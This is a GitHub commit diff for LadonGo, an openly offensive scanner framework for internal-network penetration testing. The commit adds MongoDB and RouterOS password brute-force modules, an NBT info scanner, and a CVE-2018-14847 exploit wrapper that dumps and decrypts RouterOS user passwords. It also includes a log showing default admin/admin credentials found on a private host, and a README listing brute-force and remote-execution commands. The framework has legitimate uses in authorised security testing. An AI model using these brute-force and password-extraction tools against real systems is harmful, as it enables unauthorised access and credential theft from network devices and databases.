Skip to content

Commit 5cded03

Browse files
k8gegek8gege
committed
LadonGo
1 parent ea782c6 commit 5cded03

File tree

24 files changed

+1351
-93
lines changed

24 files changed

+1351
-93
lines changed

‎Ladon.go

Lines changed: 52 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ import (
1515
"github.com/k8gege/LadonGo/port"
1616
"github.com/k8gege/LadonGo/http"
1717
"github.com/k8gege/LadonGo/smb"
18+
"github.com/k8gege/LadonGo/nbt"
1819
"github.com/k8gege/LadonGo/ftp"
1920
"github.com/k8gege/LadonGo/ssh"
2021
"github.com/k8gege/LadonGo/mysql"
@@ -25,8 +26,10 @@ import (
2526
"github.com/k8gege/LadonGo/dcom"
2627
"github.com/k8gege/LadonGo/exp"
2728
"github.com/k8gege/LadonGo/dic"
29+
"github.com/k8gege/LadonGo/mongodb"
2830
//"github.com/k8gege/LadonGo/tcp"
2931
"github.com/k8gege/LadonGo/redis"
32+
"github.com/k8gege/LadonGo/routeros"
3033
"github.com/fatih/color"
3134
"strings"
3235
"log"
@@ -101,6 +104,7 @@ func Detection() {
101104
fmt.Println("PortScan\t(Scan hosts open ports using TCP protocol)")
102105
fmt.Println("TcpBanner\t(Scan hosts open ports using TCP protocol)")
103106
fmt.Println("OxidScan \t(Using dcom Protocol enumeration network interfaces)")
107+
fmt.Println("NbtInfo\t(Scan hosts open ports using NBT protocol)")
104108
}
105109

106110
func VulDetection() {
@@ -124,8 +128,10 @@ func BruteFor() {
124128
fmt.Println("MysqlScan \t(Using Mysql Protocol to Brute-For 3306 Port)")
125129
fmt.Println("MssqlScan \t(Using Mssql Protocol to Brute-For 1433 Port)")
126130
fmt.Println("OracleScan \t(Using Oracle Protocol to Brute-For 1521 Port)")
131+
fmt.Println("MongodbScan \t(Using Mongodb Protocol to Brute-For 27017 Port)")
127132
fmt.Println("WinrmScan \t(Using Winrm Protocol to Brute-For 5985 Port)")
128133
fmt.Println("SqlplusScan \t(Using Oracle Sqlplus Brute-For 1521 Port)")
134+
fmt.Println("RouterOSScan \t(Using RouterOS API Brute-For 8728 Port)")
129135
}
130136

131137
func RemoteExec() {
@@ -142,7 +148,7 @@ func Exploit() {
142148
//} else{fmt.Println("\033[35m\nExploit:\033[0m")}
143149
color.Magenta("\nExploit:")
144150
fmt.Println("PhpStudyDoor\t(PhpStudy 2016 & 2018 BackDoor Exploit)")
145-
151+
fmt.Println("CVE-2018-14847\t(Export RouterOS Password 6.29 to 6.42)")
146152
}
147153

148154
func Noping() {
@@ -156,7 +162,7 @@ func Noping() {
156162
}
157163

158164
var isicmp bool
159-
var ver="3.6"
165+
var ver="3.8"
160166
func incIP(ip net.IP) {
161167
for j := len(ip) - 1; j >= 0; j-- {
162168
ip[j]++
@@ -251,6 +257,10 @@ func main() {
251257
exp.PhpStudyDoorHelp()
252258
os.Exit(0)
253259
}
260+
if SecPar == "CVE-2018-14847" {
261+
exp.Cve2018_14847Help()
262+
os.Exit(0)
263+
}
254264
if SecPar == "PHPSHELL" || SecPar == "PHPWEBSHELL" {
255265
rexec.PhpShellHelp()
256266
os.Exit(0)
@@ -285,6 +295,11 @@ func main() {
285295
exp.PhpStudyDoorExp(os.Args[2],os.Args[3])
286296
os.Exit(0)
287297
}
298+
299+
if SecPar == "CVE-2018-14847" {
300+
exp.Cve2018_14847Exp(os.Args[2],os.Args[3])
301+
os.Exit(0)
302+
}
288303
} else if ParLen>4 {
289304
SecPar := strings.ToUpper(os.Args[1])
290305
fmt.Println("Load "+SecPar)
@@ -306,11 +321,18 @@ func main() {
306321
//EndPar := os.Args[ParLen-1]
307322
//Target := os.Args[ParLen-2]
308323
fmt.Println("Targe: "+Target)
324+
//log.Println("Start...")
325+
fmt.Println("\nScanStart: "+time.Now().Format("2006-01-02 03:04:05"))
309326
if ParLen==3 {
310327
fmt.Println("Load "+EndPar)
328+
ScanType := strings.ToUpper(EndPar)
329+
if ScanType == "NBTINFO" {
330+
nbt.Info(Target)
331+
fmt.Println(" Finished: "+time.Now().Format("2006-01-02 03:04:05"))
332+
os.Exit(0)
333+
}
311334
}
312-
//log.Println("Start...")
313-
fmt.Println("\nScanStart: "+time.Now().Format("2006-01-02 03:04:05"))
335+
314336
ScanType := strings.ToUpper(EndPar)
315337
if strings.Contains(Target, "/c")||strings.Contains(Target, "/C") {
316338
CScan(ScanType,Target)
@@ -324,6 +346,18 @@ func main() {
324346
for _, ip := range dic.TxtRead(Target) {
325347
LadonScan(ScanType,ip)
326348
}
349+
} else if strings.ToUpper(Target)==strings.ToUpper("ip24.txt") {
350+
for _, ip := range dic.TxtRead(Target) {
351+
fmt.Println("\nC_Segment: "+ip)
352+
fmt.Println("=============================================")
353+
CScan(ScanType,ip)
354+
}
355+
} else if strings.ToUpper(Target)==strings.ToUpper("ip16.txt") {
356+
for _, ip := range dic.TxtRead(Target) {
357+
fmt.Println("\nB_Segment: "+ip)
358+
fmt.Println("=============================================")
359+
BScan(ScanType,ip)
360+
}
327361
} else if strings.ToUpper(Target)==strings.ToUpper("url.txt") {
328362
for _, ip := range dic.TxtRead(Target) {
329363
LadonUrlScan(ScanType,ip)
@@ -428,9 +462,9 @@ func AScan(ScanType string,Target string){
428462

429463
func LadonScan(ScanType string,Target string) {
430464
if ScanType == "GETEXFQND"||ScanType == "FINDEXCHANGE" {
431-
vul.GetExFQND(Target)
432-
} else if ScanType == "CVE-2021-26855" {
433-
vul.CheckCVE_2021_26855(Target)
465+
//vul.GetExFQND(Target)
466+
//} else if ScanType == "CVE-2021-26855" {
467+
//vul.CheckCVE_2021_26855(Target)
434468
} else if ScanType == "CVE-2021-21972" {
435469
vul.CheckCVE_2021_21972(Target)
436470
} else if ScanType == "PINGSCAN" ||ScanType == "PING" {
@@ -516,6 +550,10 @@ func LadonScan(ScanType string,Target string) {
516550
smb.MS17010(Target,3)
517551
} else if ScanType == "SMBSCAN" {
518552
smb.SmbScan(ScanType,Target)
553+
} else if ScanType == "NBTINFO" {
554+
//nbt.Info(ScanType,Target)
555+
//nbt.Info(Target)
556+
//nbt.Info()
519557
} else if ScanType == "FTPSCAN" {
520558
ftp.FtpScan(ScanType,Target)
521559
} else if ScanType == "SMBGHOST"||ScanType == "CVE-2020-0796" {
@@ -526,14 +564,20 @@ func LadonScan(ScanType string,Target string) {
526564
mysql.MysqlScan(ScanType,Target)
527565
} else if ScanType == "MSSQLSCAN" {
528566
mssql.MssqlScan(ScanType,Target)
567+
} else if ScanType == "MONGODBSCAN" {
568+
mgo.MongoScan(ScanType,Target)
529569
} else if ScanType == "ORACLESCAN" {
530-
//oracle.OracleScan(ScanType,Target)
570+
oracle.OracleScan(ScanType,Target)
531571
} else if ScanType == "SQLPLUSSCAN" {
532572
oracle.SqlPlusScan(ScanType,Target)
533573
} else if ScanType == "WINRMSCAN" {
534574
winrm.WinrmScan(ScanType,Target)
535575
} else if ScanType == "REDISSCAN" {
536576
redis.RedisNullScan(ScanType,Target)
577+
} else if ScanType == "ROUTEROSSCAN" {
578+
routeros.RouterOSScan(ScanType,Target)
579+
} else if ScanType == "CVE-2018-14847" {
580+
exp.Cve2018_14847Exp(Target,"8291")
537581
} else if ScanType == "HTTPBASICSCAN" ||ScanType == "BASICAUTHSCAN" ||ScanType == "401SCAN" {
538582
http.BasicAuthScan(ScanType,"http://"+Target)
539583
} else {

‎README.md

Lines changed: 13 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
http://k8gege.org/Ladon/LadonGo.html<br>
55

66
### 简介
7-
LadonGo一款开源内网渗透扫描器框架，使用它可轻松一键探测C段、B段、A段存活主机、指纹识别、端口扫描、密码爆破、远程执行、高危漏洞检测等。3.6版本包含28个模块功能，高危漏洞检测MS17010、SmbGhost，远程执行SshCmd、WinrmCmd、PhpShell，10种协议密码爆破Smb/Ssh/Ftp/Mysql/Mssql/Oracle/Sqlplus/Winrm/HttpBasic/Redis，存活探测/信息收集/指纹识别OnlinePC、Ping、Icmp、SnmpScan，HttpBanner、HttpTitle、TcpBanner、WeblogicScan、OxidScan，端口扫描/服务探测PortScan。<br>
7+
LadonGo一款开源内网渗透扫描器框架，使用它可轻松一键探测C段、B段、A段存活主机、指纹识别、端口扫描、密码爆破、远程执行、高危漏洞检测等。3.8版本包含32个功能，高危漏洞检测MS17010、SmbGhost，远程执行SshCmd、WinrmCmd、PhpShell，10种协议密码爆破Smb/Ssh/Ftp/Mysql/Mssql/Oracle/Sqlplus/Winrm/HttpBasic/Redis/MongoDB/RouterOS，存活探测/信息收集/指纹识别NbtInfo、OnlinePC、Ping、Icmp、SnmpScan，HttpBanner、HttpTitle、TcpBanner、WeblogicScan、OxidScan，端口扫描/服务探测PortScan。<br>
88

99
### 开发环境
1010
OS: Kali 2019 X64<br>
@@ -27,7 +27,7 @@ T3Scan | (Using T3 Protocol Scan Weblogic hosts)
2727
PortScan | (Scan hosts open ports using TCP protocol)
2828
TcpBanner | (Scan hosts open ports using TCP protocol)
2929
OxidScan | (Using dcom Protocol enumeration network interfaces)
30-
30+
NbtInfo | (Scan hosts open ports using NBT protocol)
3131

3232
#### VulDetection
3333

@@ -37,7 +37,9 @@ MS17010 | (Using SMB Protocol to detect MS17010 hosts)
3737
SmbGhost | (Using SMB Protocol to detect SmbGhost hosts)
3838
CVE-2021-21972 | (Check VMware vCenter 6.5 6.7 7.0 Rce Vul)
3939
CVE-2021-26855 | (Check CVE-2021-26855 Microsoft Exchange SSRF)
40-
40+
CVE-2018-14847 | (Export RouterOS Password 6.29 to 6.42)
41+
42+
4143
#### BruteForce
4244

4345
. | .
@@ -49,6 +51,7 @@ FtpScan | (Using FTP Protocol to Brute-For 21 Port)
4951
MysqlScan | (Using Mysql Protocol to Brute-For 3306 Port)
5052
MssqlScan | (Using Mssql Protocol to Brute-For 1433 Port)
5153
OracleScan | (Using Oracle Protocol to Brute-For 1521 Port)
54+
MongodbScan | (Using Mongodb Protocol to Brute-For 27017 Port)
5255
WinrmScan | (Using Winrm Protocol to Brute-For 5985 Port)
5356
SqlplusScan | (Using Oracle Sqlplus Brute-For 1521 Port)
5457
RedisScan | (Using Redis Protocol to Brute-For 6379 Port)
@@ -171,6 +174,9 @@ Ladon 192.168.1.8/24 MysqlScan<br>
171174
扫描C段1521端口Oracle服务器弱口令<br>
172175
Ladon 192.168.1.8/24 OracleScan<br>
173176

177+
扫描C段27017端口MongoDB服务器弱口令<br>
178+
Ladon 192.168.1.8/24 MongodbScan<br>
179+
174180
扫描C段1521端口Oracle服务器弱口令<br>
175181
Ladon 192.168.1.8/24 SqlplusScan<br>
176182

@@ -180,6 +186,9 @@ Ladon 192.168.1.8/24 WinrmScan<br>
180186
扫描C段6379端口Redis服务器空口令<br>
181187
Ladon 192.168.1.8/24 RedisScan<br>
182188

189+
扫描C段8728端口RouterOS路由器<br>
190+
Ladon 192.168.1.8/24 RouterOSScan<br>
191+
183192
##### 远程命令执行
184193

185194
```Bash
@@ -264,7 +273,7 @@ http://k8gege.org/Download/LadonGo.rar
264273

265274
历史版本: https://github.com/k8gege/Ladon/releases<br>
266275
7.0版本：http://k8gege.org/Download<br>
267-
7.8版本：K8小密圈<br>
276+
8.6版本：K8小密圈<br>
268277

269278

270279
<div style="text-align: center; width: 710px; border: green solid 0px;">

‎ROUTEROSSCAN.Log

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
2021/05/08 02:56:40 Found: 192.168.250.110 8728 admin admin ISOK
2+
2021/05/08 02:57:41 Found: 192.168.250.110 8728 admin admin ISOK
3+
2021/05/08 02:57:49 Found: 192.168.250.110 8728 admin admin ISOK

‎dic/dic.go

Lines changed: 42 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,19 @@ if IsExist("userpass.txt") {
1818
return false
1919
}
2020

21+
func PwdIsExist() bool{
22+
if IsExist("userpass.txt") {
23+
return true
24+
}
25+
if IsExist("user.txt") {
26+
return true
27+
}
28+
if IsExist("pass.txt") {
29+
return true
30+
}
31+
return false
32+
}
33+
2134
func IsExist(f string) bool {
2235
_, err := os.Stat(f)
2336
return err == nil || os.IsExist(err)
@@ -28,7 +41,11 @@ func TxtRead(filename string) (lines []string) {
2841
if err != nil {
2942
fmt.Println("Open ",filename,"error, %v", err)
3043
}
31-
44+
fi,_:=os.Stat(filename)
45+
if fi.Size() ==0 {
46+
fmt.Println("Error: "+filename+" is null!")
47+
os.Exit(1)
48+
}
3249
defer file.Close()
3350
scanner := bufio.NewScanner(file)
3451
scanner.Split(bufio.ScanLines)
@@ -42,11 +59,16 @@ func TxtRead(filename string) (lines []string) {
4259
return lines
4360
}
4461
func UserDic() (users []string) {
45-
file, err := os.Open("user.txt")
62+
dicname:="user.txt"
63+
file, err := os.Open(dicname)
4664
if err != nil {
47-
fmt.Println("Open user.txt error, %v", err)
65+
fmt.Println("Open "+dicname+" error, %v", err)
66+
}
67+
fi,_:=os.Stat(dicname)
68+
if fi.Size() ==0 {
69+
fmt.Println("Error: "+dicname+" is null!")
70+
os.Exit(1)
4871
}
49-
5072
defer file.Close()
5173
scanner := bufio.NewScanner(file)
5274
scanner.Split(bufio.ScanLines)
@@ -61,9 +83,15 @@ func UserDic() (users []string) {
6183
}
6284

6385
func PassDic() (password []string) {
64-
file, err := os.Open("pass.txt")
86+
dicname:="pass.txt"
87+
file, err := os.Open(dicname)
6588
if err != nil {
66-
fmt.Println("Open pass.txt error, %v", err)
89+
fmt.Println("Open "+dicname+" error, %v", err)
90+
}
91+
fi,_:=os.Stat(dicname)
92+
if fi.Size() ==0 {
93+
fmt.Println("Error: "+dicname+" is null!")
94+
os.Exit(1)
6795
}
6896

6997
defer file.Close()
@@ -80,9 +108,15 @@ func PassDic() (password []string) {
80108
}
81109

82110
func UserPassDic() (userpass []string) {
83-
file, err := os.Open("userpass.txt")
111+
dicname:="userpass.txt"
112+
file, err := os.Open(dicname)
84113
if err != nil {
85-
fmt.Println("Open userpass.txt error, %v", err)
114+
fmt.Println("Open "+dicname+" error, %v", err)
115+
}
116+
fi,_:=os.Stat(dicname)
117+
if fi.Size() ==0 {
118+
fmt.Println("Error: "+dicname+" is null!")
119+
os.Exit(1)
86120
}
87121

88122
defer file.Close()

‎example/rostest.go

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
package main
2+
//Ladon Scanner for golang
3+
//Author: k8gege
4+
//K8Blog: http://k8gege.org/Ladon
5+
//Github: https://github.com/k8gege/LadonGo
6+
import (
7+
"github.com/k8gege/LadonGo/routeros"
8+
"fmt"
9+
)
10+
func main() {
11+
fmt.Println(routeros.RouterOSAuth("192.168.250.110","8728","admin","admin"))
12+
}

‎exp/CVE-2018-14847.go

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package exp
2+
//Ladon Scanner for golang
3+
//Author: k8gege
4+
//K8Blog: http://k8gege.org/Ladon
5+
//Github: https://github.com/k8gege/LadonGo
6+
//Date:2021.4.21
7+
import (
8+
"fmt"
9+
//"log"
10+
)
11+
12+
var ip string
13+
var port string
14+
15+
var Cve2018_14847Help = func () {
16+
fmt.Println("Usage: Ladon CVE-2018-14847 ip port")
17+
fmt.Println("Example:")
18+
fmt.Println("Ladon CVE-2018-14847 192.168.1.8 8291")
19+
fmt.Println("Ladon 192.168.1.8/24 CVE-2018-14847")
20+
fmt.Println("Ladon 192.168.1.8/b CVE-2018-14847")
21+
fmt.Println("Ladon ip.txt CVE-2018-14847")
22+
}
23+
24+
func Cve2018_14847Exp(ip,port string) {
25+
26+
var data []byte
27+
var err error
28+
if data, err = connectToRouter(ip, port); err != nil {
29+
//log.Fatal(err)
30+
}
31+
users, err := getUsersAandDecryptPasswords(data)
32+
if err != nil {
33+
//log.Fatal(err)
34+
}
35+
//fmt.Printf("Checking... %s\n",ip)
36+
for _, u := range users {
37+
//fmt.Printf("Username: %s Password: %s\n", u.username, u.pass)
38+
fmt.Printf("%s\t%s %s\n",ip, u.username, u.pass)
39+
}
40+
}

0 commit comments

Comments
 (0)